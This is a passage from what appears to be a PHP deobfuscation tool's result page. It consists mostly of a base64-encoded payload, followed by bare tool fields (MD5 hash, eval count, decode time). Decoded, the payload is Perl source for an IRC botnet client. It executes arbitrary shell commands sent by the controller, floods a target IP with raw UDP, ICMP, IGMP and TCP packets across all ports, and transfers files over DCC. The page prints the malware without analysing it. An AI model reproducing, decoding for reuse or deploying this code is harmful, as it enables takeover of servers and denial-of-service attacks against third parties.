iAgICAgfQ0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eYmFuZyAoLiopLykgew0KICAgICBpZiAoJDEgZXEgIm9uIikgew0KICAgICAgJHBhY290ZXMgPSAxOw0KICAgICAgbXNnKCIkcHJpbnRsIiwgIlt4XSBCYW5nIG1vZGUgZW5hYmxlZCIpIGlmICgkeHN0YXRzID09ICIxIik7DQogICAgIH0gZWxzaWYgKCQxIGVxICJvZmYiKSB7DQogICAgICAkcGFjb3RlcyA9IDA7DQogICAgICBtc2coIiRwcmludGwiLCAiW3hdIEJhbmcgbW9kZSBkaXNhYmxlZCIpIGlmICgkeHN0YXRzID09ICIxIik7DQogICAgIH0NCiAgIH0NCn0NCnN1YiBzaGVsbCB7DQogIHJldHVybiB1bmxlc3MgJHNoZWxsYWNjZXNzOw0KICBteSAkcHJpbnRsPSRfWzBdOw0KICBteSAkY29tYW5kbz0kX1sxXTsNCiAgaWYgKCRjb21hbmRvID1+IC9jZCAoLiopLykgew0KICAgIGNoZGlyKCIkMSIpIHx8IG1zZygiJHByaW50bCIsICJjZDogJDEiLiI6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkiKTsNCiAgICByZXR1cm47DQogIH0NCiAgZWxzaWYgKCRwaWQgPSBmb3JrKSB7DQogICAgIHdhaXRwaWQoJHBpZCwgMCk7DQogIH0gZWxzZSB7DQogICAgICBpZiAoZm9yaykgew0KICAgICAgICAgZXhpdDsNCiAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICBteSBAcmVzcD1gJGNvbWFuZG8gMj4mMSAzPiYxYDsNCiAgICAgICAgICAgbXkgJGM9MDsNCiAgICAgICAgICAgZm9yZWFjaCBteSAkbGluaGEgKEByZXNwKSB7DQogICAgICAgICAgICAgJGMrKzsNCiAgICAgICAgICAgICBjaG9wICRsaW5oYTsNCiAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6JGxpbmhhIik7DQogICAgICAgICAgICAgaWYgKCRjID49ICIkbGluYXNfbWF4Iikgew0KICAgICAgICAgICAgICAgJGM9MDsNCiAgICAgICAgICAgICAgIHNsZWVwICRzbGVlcDsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICAgICAgICAgZXhpdDsNCiAgICAgICB9DQogIH0NCn0NCg0Kc3ViIGF0dGFja2VyIHsNCiAgbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRfWzBdKTsNCiAgbXkgJG1zZyA9ICdCJyB4ICRfWzFdOw0KICBteSAkZnRpbWUgPSAkX1syXTsNCiAgbXkgJGNwID0gMDsNCiAgbXkgKCVwYWNvdGVzKTsNCiAgJHBhY290ZXN7aWNtcH0gPSAkcGFjb3Rlc3tpZ21wfSA9ICRwYWNvdGVze3VkcH0gPSAkcGFjb3Rlc3tvfSA9ICRwYWNvdGVze3RjcH0gPSAwOw0KDQogIHNvY2tldChTT0NLMSwgUEZfSU5FVCwgU09DS19SQVcsIDIpIG9yICRjcCsrOw0KICBzb2NrZXQoU09DSzIsIFBGX0lORVQsIFNPQ0tfREdSQU0sIDE3KSBvciAkY3ArKzsNCiAgc29ja2V0KFNPQ0szLCBQRl9JTkVULCBTT0NLX1JBVywgMSkgb3IgJGNwKys7DQogIHNvY2tldChTT0NLNCwgUEZfSU5FVCwgU09DS19SQVcsIDYpIG9yICRjcCsrOw0KICByZXR1cm4odW5kZWYpIGlmICRjcCA9PSA0Ow0KICBteSAkaXRpbWUgPSB0aW1lOw0KICBteSAoJGN1cl90aW1lKTsNCiAgd2hpbGUgKCAxICkgew0KICAgICBmb3IgKG15ICRwb3J0YSA9IDE7ICRwb3J0YSA8PSA2NTUzNTsgJHBvcnRhKyspIHsNCiAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KICAgICAgIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsNCiAgICAgICBzZW5kKFNPQ0sxLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3tpZ21wfSsrIGlmICgkcGFjb3RlcyA9PSAxKTsNCiAgICAgICBzZW5kKFNPQ0syLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3t1ZHB9KysgaWYgKCRwYWNvdGVzID09IDEpOw0KICAgICAgIHNlbmQoU09DSzMsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2ljbXB9KysgaWYgKCRwYWNvdGVzID09IDEpOw0KICAgICAgIHNlbmQoU09DSzQsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze3RjcH0rKyBpZiAoJHBhY290ZXMgPT0gMSk7DQogICAgICAgZm9yIChteSAkcGMgPSAzOyAkcGMgPD0gMjU1OyRwYysrKSB7DQogICAgICAgICBuZXh0IGlmICRwYyA9PSA2Ow0KICAgICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsNCiAgICAgICAgIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsNCiAgICAgICAgIHNvY2tldChTT0NLNSwgUEZfSU5FVCwgU09DS19SQVcsICRwYykgb3IgbmV4dDsNCiAgICAgICAgIHNlbmQoU09DSzUsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze299KysgaWYgKCRwYWNvdGVzID09IDEpOw0KICAgICAgIH0NCiAgICAgfQ0KICAgICBsYXN0IGlmICRjdXJfdGltZSA+PSAkZnRpbWU7DQogIH0NCiAgcmV0dXJuKCRjdXJfdGltZSwgJXBhY290ZXMpOw0KfQ0KDQpzdWIgYWN0aW9uIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJQUklWTVNHICRfWzBdIDpcMDAxQUNUSU9OICRfWzFdXDAwMSIpOw0KfQ0Kc3ViIGN0Y3Agew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOlwwMDEkX1sxXVwwMDEiKTsNCn0NCnN1YiBtc2cgew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOiRfWzFdIik7DQp9DQpzdWIgbm90aWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJOT1RJQ0UgJF9bMF0gOiRfWzFdIik7DQp9DQpzdWIgb3Agew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK28gJF9bMV0iKTsNCn0NCnN1YiBkZW9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdIC1vICRfWzFdIik7DQp9DQpzdWIgaG9wIHsNCiAgICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiTU9ERSAkX1swXSAraCAkX1sxXSIpOw0KfQ0Kc3ViIGRlaG9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdICtoICRfWzFdIik7DQp9DQpzdWIgdm9pY2Ugew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK3YgJF9bMV0iKTsNCn0NCnN1YiBkZXZvaWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdIC12ICRfWzFdIik7DQp9DQpzdWIgYmFuIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdICtiICRfWzFdIik7DQp9DQpzdWIgdW5iYW4gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gLWIgJF9bMV0iKTsNCn0NCnN1YiBraWNrIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJLSUNLICRfWzBdICRfWzFdIDokX1syXSIpOw0KfQ0Kc3ViIG1vZG8gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gJF9bMV0iKTsNCn0NCnN1YiBtb2RlIHsgbW9kbyhAXyk7IH0NCnN1YiBqIHsgJmpvaW4oQF8pOyB9DQpzdWIgam9pbiB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICAgc2VuZHJhdygiSk9JTiAkX1swXSIpOw0KfQ0Kc3ViIHAgeyBwYXJ0KEBfKTsgfQ0Kc3ViIHBhcnQge3NlbmRyYXcoIlBBUlQgJF9bMF0iKTt9DQpzdWIgbmljayB7DQogIHJldHVybiB1bmxlc3MgJCNfID09IDA7DQogIHNlbmRyYXcoIk5JQ0sgJF9bMF0iKTsNCn0NCnN1YiBpbnZpdGUgew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIklOVklURSAkX1sxXSAkX1swXSIpOw0KfQ0Kc3ViIHRvcGljbyB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiVE9QSUMgJF9bMF0gJF9bMV0iKTsNCn0NCnN1YiB0b3BpYyB7IHRvcGljbyhAXyk7IH0NCnN1YiB3aG9pcyB7DQogIHJldHVybiB1bmxlc3MgJCNfID09IDA7DQogIHNlbmRyYXcoIldIT0lTICRfWzBdIik7DQp9DQpzdWIgd2hvIHsNCiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgc2VuZHJhdygiV0hPICRfWzBdIik7DQp9DQpzdWIgbmFtZXMgew0KICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICBzZW5kcmF3KCJOQU1FUyAkX1swXSIpOw0KfQ0Kc3ViIGF3YXkgew0KICBzZW5kcmF3KCJBV0FZICRfWzBdIik7DQp9DQpzdWIgYmFjayB7IGF3YXkoKTsgfQ0Kc3ViIHF1aXQgew0KICBzZW5kcmF3KCJRVUlUIDokX1swXSIpOw0KICBleGl0Ow0KfQ0KDQpwYWNrYWdlIERDQzsNCnN1YiBjb25uZWN0aW9ucyB7DQogICBteSBAcmVhZHkgPSAkZGNjX3NlbC0+Y2FuX3JlYWQoMSk7DQojICAgcmV0dXJuIHVubGVzcyAoQHJlYWR5KTsNCiAgIGZvcmVhY2ggbXkgJGZoIChAcmVhZHkpIHsNCiAgICAgbXkgJGRjY3RpcG8gPSAkRENDeyRmaH17dGlwb307DQogICAgIG15ICRhcnF1aXZvID0gJERDQ3skZmh9e2FycXVpdm99Ow0KICAgICBteSAkYnl0ZXMgPSAkRENDeyRmaH17Ynl0ZXN9Ow0KICAgICBteSAkY3VyX2J5dGUgPSAkRENDeyRmaH17Y3VyYnl0ZX07DQogICAgIG15ICRuaWNrID0gJERDQ3skZmh9e25pY2t9Ow0KICAgICBteSAkbXNnOw0KICAgICBteSAkbnJlYWQgPSBzeXNyZWFkKCRmaCwgJG1zZywgMTAyNDApOw0KICAgICBpZiAoJG5yZWFkID09IDAgYW5kICRkY2N0aXBvID1+IC9eKGdldHxzZW5kY29uKSQvKSB7DQogICAgICAgICREQ0N7JGZofXtzdGF0dXN9ID0gIkNhbmNlbGFkbyI7DQogICAgICAgICREQ0N7JGZofXtmdGltZX0gPSB0aW1lOw0KICAgICAgICAkZGNjX3NlbC0+cmVtb3ZlKCRmaCk7DQogICAgICAgICRmaC0+Y2xvc2U7DQogICAgICAgIG5leHQ7DQogICAgIH0NCiAgICAgaWYgKCRkY2N0aXBvIGVxICJnZXQiKSB7DQogICAgICAgICREQ0N7JGZofXtjdXJieXRlfSArPSBsZW5ndGgoJG1zZyk7DQoNCiAgICAgICAgbXkgJGN1cl9ieXRlID0gJERDQ3skZmh9e2N1cmJ5dGV9Ow0KDQogICAgICAgIG9wZW4oRklMRSwgIj4+ICRhcnF1aXZvIik7DQogICAgICAgIHByaW50IEZJTEUgIiRtc2ciIGlmICgkY3VyX2J5dGUgPD0gJGJ5dGVzKTsNCiAgICAgICAgY2xvc2UoRklMRSk7DQoNCiAgICAgICAgbXkgJHBhY2tieXRlID0gcGFjaygiTiIsICRjdXJfYnl0ZSk7DQogICAgICAgIHByaW50ICRmaCAiJHBhY2tieXRlIjsNCg0KICAgICAgICBpZiAoJGJ5dGVzID09ICRjdXJfYnl0ZSkgew0KICAgICAgICAgICAkZGNjX3NlbC0+cmVtb3ZlKCRmaCk7DQogICAgICAgICAgICRmaC0+Y2xvc2U7DQogICAgICAgICAgICREQ0N7JGZofXtzdGF0dXN9ID0gIlJlY2ViaWRvIjsNCiAgICAgICAgICAgJERDQ3skZmh9e2Z0aW1lfSA9IHRpbWU7DQogICAgICAgICAgIG5leHQ7DQogICAgICAgIH0NCiAgICAgfSBlbHNpZiAoJGRjY3RpcG8gZXEgInNlbmQiKSB7DQogICAgICAgICAgbXkgJHNlbmQgPSAkZmgtPmFjY2VwdDsNCiAgICAgICAgICAkc2VuZC0+YXV0b2ZsdXNoKDEpOw0KICAgICAgICAgICRkY2Nfc2VsLT5hZGQoJHNlbmQpOw0KICAgICAgICAgICRkY2Nfc2VsLT5yZW1vdmUoJGZoKTsNCiAgICAgICAgICAkRENDeyRzZW5kfXt0aXBvfSA9ICdzZW5kY29uJzsNCiAgICAgICAgICAkRENDeyRzZW5kfXtpdGltZX0gPSB0aW1lOw0KICAgICAgICAgICREQ0N7JHNlbmR9e25pY2t9ID0gJG5pY2s7DQogICAgICAgICAgJERDQ3skc2VuZH17Ynl0ZXN9ID0gJGJ5dGVzOw0KICAgICAgICAgICREQ0N7JHNlbmR9e2N1cmJ5dGV9ID0gMDsNCiAgICAgICAgICAkRENDeyRzZW5kfXthcnF1aXZvfSA9ICRhcnF1aXZvOw0KICAgICAgICAgICREQ0N7JHNlbmR9e2lwfSA9ICRzZW5kLT5wZWVyaG9zdDsNCiAgICAgICAgICAkRENDeyRzZW5kfXtwb3J0YX0gPSAkc2VuZC0+cGVlcnBvcnQ7DQogICAgICAgICAgJERDQ3skc2VuZH17c3RhdHVzfSA9ICJFbnZpYW5kbyI7DQogICAgICAgICAgb3BlbihGSUxFLCAiPCAkYXJxdWl2byIpOw0KICAgICAgICAgIG15ICRmYnl0ZXM7DQogICAgICAgICAgcmVhZChGSUxFLCAkZmJ5dGVzLCAxMDI0KTsNCiAgICAgICAgICBwcmludCAkc2VuZCAiJGZieXRlcyI7DQogICAgICAgICAgY2xvc2UgRklMRTsNCiMgICAgICAgICAgZGVsZXRlKCREQ0N7JGZofSk7DQogICAgIH0gZWxzaWYgKCRkY2N0aXBvIGVxICdzZW5kY29uJykgew0KICAgICAgICAgIG15ICRieXRlc19zZW5kZWQgPSB1bnBhY2soIk4iLCAkbXNnKTsNCiAgICAgICAgICAkRENDeyRmaH17Y3VyYnl0ZX0gPSAkYnl0ZXNfc2VuZGVkOw0KICAgICAgICAgIGlmICgkYnl0ZXNfc2VuZGVkID09ICRieXRlcykgew0KICAgICAgICAgICAgICRmaC0+Y2xvc2U7DQogICAgICAgICAgICAgJGRjY19zZWwtPnJlbW92ZSgkZmgpOw0KICAgICAgICAgICAgICREQ0N7JGZofXtzdGF0dXN9ID0gIkVudmlhZG8iOw0KICAgICAgICAgICAgICREQ0N7JGZofXtmdGltZX0gPSB0aW1lOw0KICAgICAgICAgICAgIG5leHQ7DQogICAgICAgICAgfQ0KICAgICAgICAgIG9wZW4oU0VOREZJTEUsICI8ICRhcnF1aXZvIik7DQogICAgICAgICAgc2VlayhTRU5ERklMRSwgJGJ5dGVzX3NlbmRlZCwgMCk7DQogICAgICAgICAgbXkgJHNlbmRfYnl0ZXM7DQogICAgICAgICAgcmVhZChTRU5ERklMRSwgJHNlbmRfYnl0ZXMsIDEwMjQpOw0KICAgICAgICAgIHByaW50ICRmaCAiJHNlbmRfYnl0ZXMiOw0KICAgICAgICAgIGNsb3NlKFNFTkRGSUxFKTsNCiAgICAgfQ0KICAgfQ0KfQ0KDQpzdWIgU0VORCB7DQogIG15ICgkbmljaywgJGFycXVpdm8pID0gQF87DQogIHVubGVzcyAoLXIgIiRhcnF1aXZvIikgew0KICAgIHJldHVybigwKTsNCiAgfQ0KICBteSAkZGNjYXJrID0gJGFycXVpdm87DQogICRkY2NhcmsgPX4gcy9bLipcL10oXFMrKS8kMS87DQogIG15ICRtZXVpcCA9ICQ6OmlyY19zZXJ2ZXJzeyIkOjpJUkNfY3VyX3NvY2tldCJ9eydtZXVpcCd9Ow0KICBteSAkbG9uZ2lwID0gdW5wYWNrKCJOIixpbmV0X2F0b24oJG1ldWlwKSk7DQogIG15IEBmaWxlc3RhdCA9IHN0YXQoJGFycXVpdm8pOw0KICBteSAkc2l6ZV90b3RhbD0kZmlsZXN0YXRbN107DQogIGlmICgkc2l6ZV90b3RhbCA9PSAwKSB7DQogICAgIHJldHVybigwKTsNCiAgfQ0KICBteSAoJHBvcnRhLCAkc2VuZHNvY2spOw0KICBkbyB7DQogICAgJHBvcnRhID0gaW50IHJhbmQoNjQ1MTEpOw0KICAgICRwb3J0YSArPSAxMDI0Ow0KICAgICRzZW5kc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhMaXN0ZW49PjEsIExvY2FsUG9ydCA9PiRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcpIGFuZCAkZGNjX3NlbC0+YWRkKCRzZW5kc29jayk7DQogIH0gdW50aWwgJHNlbmRzb2NrOw0KICAkRENDeyRzZW5kc29ja317dGlwb30gPSAnc2VuZCc7DQogICREQ0N7JHNlbmRzb2NrfXtuaWNrfSA9ICRuaWNrOw0KICAkRENDeyRzZW5kc29ja317Ynl0ZXN9ID0gJHNpemVfdG90YWw7DQogICREQ0N7JHNlbmRzb2NrfXthcnF1aXZvfSA9ICRhcnF1aXZvOw0KICAmOjpjdGNwKCIkbmljayIsICJEQ0MgU0VORCAkZGNjYXJrICRsb25naXAgJHBvcnRhICRzaXplX3RvdGFsIik7DQp9DQpzdWIgR0VUIHsNCiAgbXkgKCRhcnF1aXZvLCAkZGNjbG9uZ2lwLCAkZGNjcG9ydGEsICRieXRlcywgJG5pY2spID0gQF87DQogIHJldHVybigwKSBpZiAoLWUgIiRhcnF1aXZvIik7DQogIGlmIChvcGVuKEZJTEUsICI+ICRhcnF1aXZvIikpIHsNCiAgICAgY2xvc2UgRklMRTsNCiAgfSBlbHNlIHsNCiAgICByZXR1cm4oMCk7DQogIH0NCiAgbXkgJGRjY2lwPWZpeGFkZHIoJGRjY2xvbmdpcCk7DQogIHJldHVybigwKSBpZiAoJGRjY3BvcnRhIDwgMTAyNCBvciBub3QgZGVmaW5lZCAkZGNjaXAgb3IgJGJ5dGVzIDwgMSk7DQogIG15ICRkY2Nzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3RvPT4idGNwIiwgUGVlckFkZHI9PiRkY2NpcCwgUGVlclBvcnQ9PiRkY2Nwb3J0YSwgVGltZW91dD0+MTUpIG9yIHJldHVybiAoMCk7DQogICRkY2Nzb2NrLT5hdXRvZmx1c2goMSk7DQogICRkY2Nfc2VsLT5hZGQoJGRjY3NvY2spOw0KICAkRENDeyRkY2Nzb2NrfXt0aXBvfSA9ICdnZXQnOw0KICAkRENDeyRkY2Nzb2NrfXtpdGltZX0gPSB0aW1lOw0KICAkRENDeyRkY2Nzb2NrfXtuaWNrfSA9ICRuaWNrOw0KICAkRENDeyRkY2Nzb2NrfXtieXRlc30gPSAkYnl0ZXM7DQogICREQ0N7JGRjY3NvY2t9e2N1cmJ5dGV9ID0gMDsNCiAgJERDQ3skZGNjc29ja317YXJxdWl2b30gPSAkYXJxdWl2bzsNCiAgJERDQ3skZGNjc29ja317aXB9ID0gJGRjY2lwOw0KICAkRENDeyRkY2Nzb2NrfXtwb3J0YX0gPSAkZGNjcG9ydGE7DQogICREQ0N7JGRjY3NvY2t9e3N0YXR1c30gPSAiUmVjZWJlbmRvIjsNCn0NCnN1YiBTdGF0dXMgew0KICBteSAkc29ja2V0ID0gc2hpZnQ7DQogIG15ICRzb2NrX3RpcG8gPSAkRENDeyRzb2NrZXR9e3RpcG99Ow0KICB1bmxlc3MgKGxjKCRzb2NrX3RpcG8pIGVxICJjaGF0Iikgew0KICAgIG15ICRuaWNrID0gJERDQ3skc29ja2V0fXtuaWNrfTsNCiAgICBteSAkYXJxdWl2byA9ICREQ0N7JHNvY2tldH17YXJxdWl2b307DQogICAgbXkgJGl0aW1lID0gJERDQ3skc29ja2V0fXtpdGltZX07DQogICAgbXkgJGZ0aW1lID0gdGltZTsNCiAgICBteSAkc3RhdHVzID0gJERDQ3skc29ja2V0fXtzdGF0dXN9Ow0KICAgICRmdGltZSA9ICREQ0N7JHNvY2tldH17ZnRpbWV9IGlmIGRlZmluZWQoJERDQ3skc29ja2V0fXtmdGltZX0pOw0KDQogICAgbXkgJGRfdGltZSA9ICRmdGltZS0kaXRpbWU7DQoNCiAgICBteSAkY3VyX2J5dGUgPSAkRENDeyRzb2NrZXR9e2N1cmJ5dGV9Ow0KICAgIG15ICRieXRlc190b3RhbCA9ICAkRENDeyRzb2NrZXR9e2J5dGVzfTsNCg0KICAgIG15ICRyYXRlID0gMDsNCiAgICAkcmF0ZSA9ICgkY3VyX2J5dGUvMTAyNCkvJGRfdGltZSBpZiAkY3VyX2J5dGUgPiAwOw0KICAgIG15ICRwb3JjZW4gPSAoJGN1cl9ieXRlKjEwMCkvJGJ5dGVzX3RvdGFsOw0KDQogICAgbXkgKCRyX2R1diwgJHBfZHV2KTsNCiAgICBpZiAoJHJhdGUgPX4gL14oXGQrKVwuKFxkKShcZCkoXGQpLykgew0KICAgICAgICRyX2R1diA9ICQzOyAkcl9kdXYrKyBpZiAkNCA+PSA1Ow0KICAgICAgICRyYXRlID0gIiQxXC4kMiIuIiRyX2R1diI7DQogICAgfQ0KICAgIGlmICgkcG9yY2VuID1+IC9eKFxkKylcLihcZCkoXGQpKFxkKS8pIHsNCiAgICAgICAkcF9kdXYgPSAkMzsgJHBfZHV2KysgaWYgJDQgPj0gNTsNCiAgICAgICAkcG9yY2VuID0gIiQxXC4kMiIuIiRwX2R1diI7DQogICAgfQ0KICAgIHJldHVybigiJHNvY2tfdGlwbyIsIiRzdGF0dXMiLCIkbmljayIsIiRhcnF1aXZvIiwiJGJ5dGVzX3RvdGFsIiwgIiRjdXJfYnl0ZSIsIiRkX3RpbWUiLCAiJHJhdGUiLCAiJHBvcmNlbiIpOw0KICB9DQogIHJldHVybigwKTsNCn0NCg0Kc3ViIGZpeGFkZHIgew0KICAgIG15ICgkYWRkcmVzcykgPSBAXzsNCg0KICAgIGNob21wICRhZGRyZXNzOw0KICAgIGlmICgkYWRkcmVzcyA9fiAvXlxkKyQvKSB7DQogICAgICAgIHJldHVybiBpbmV0X250b2EocGFjayAiTiIsICRhZGRyZXNzKTsNCiAgICB9IGVsc2lmICgkYWRkcmVzcyA9fiAvXlsxMl0/XGR7MSwyfVwuWzEyXT9cZHsxLDJ9XC5bMTJdP1xkezEsMn1cLlsxMl0/XGR7MSwyfSQvKSB7DQogICAgICAgIHJldHVybiAkYWRkcmVzczsNCiAgICB9IGVsc2lmICgkYWRkcmVzcyA9fiB0ci9hLXpBLVovLykgew0KICAgICAgICByZXR1cm4gaW5ldF9udG9hKCgoZ2V0aG9zdGJ5bmFtZSgkYWRkcmVzcykpWzRdKVswXSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCn0='));

Function Calls

None

Variables

None

Stats

MD5 d511473ab6b4a7f4d6c395aa5f60dc91
Eval Count 0
Decode Time 1753 ms